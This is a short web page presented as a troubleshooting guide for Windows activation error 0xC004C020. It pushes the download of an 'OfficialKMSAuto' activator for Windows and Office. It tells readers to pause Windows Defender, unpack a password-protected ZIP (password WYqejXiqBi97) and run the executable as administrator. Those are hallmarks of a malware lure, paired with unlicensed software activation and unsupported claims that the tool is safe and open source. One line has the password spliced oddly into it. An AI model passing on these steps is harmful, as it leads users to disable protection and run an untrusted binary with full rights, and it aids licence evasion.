Error 0xC004C020 — Troubleshooting Guide 2026
0xC004C020 occurs when a MAK key hits its activation cap. Replace it with the matching KMS GVLK.
WYqejXiqBi97Run slmgr /ipk <GVLK> using the key from our table, then activate with KMSAuto.
Step-by-step activation
Follow these steps exactly — the whole process takes under two minutes.
- Pause Windows Defender real-time protection for ~2 minutes
- Extract the ZIP using the password WYqejXiqBi97
- Right-click the executable and choose 'Run as administrator'
- Pick the recommended method (HWID, Ohook or TSforge)
- Wait for 'Successfully activated' then reboot
After activation — what to check
Open elevated CMD and run slmgr /xpr for Windows or ospp.vbs /dstatus from the Office folder. You should see a permanent or 180-day-renewing licensed state.
Frequently asked questions
▸Is this method free?
Yes — every activation method covered here is 100% free with OfficialKMSAuto.
▸Will it survive Windows updates?
Yes. HWID, Ohook and TSforge are designed to persist across feature updates and even fresh reinstalls on the same hardware.
▸Is an internet connection required?
Only HWID needs a brief one-time internet handshake. Ohook, KMS38 and TSforge work fully offline.
▸Does it work on Windows 11 24H2?
Yes. OfficialKMSAuto ships TSforge specifically to handle 24H2 and the latest Server 2025 builds.
▸What is the archive password?
WYqejXiqBi97 — shown on every download button on this site.
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Free, safe, open source. Works on Windows 7, 8, 10, 11 and Office 2010–2024.
Download Activator — Free🔐 Archive password: WYqejXiqBi97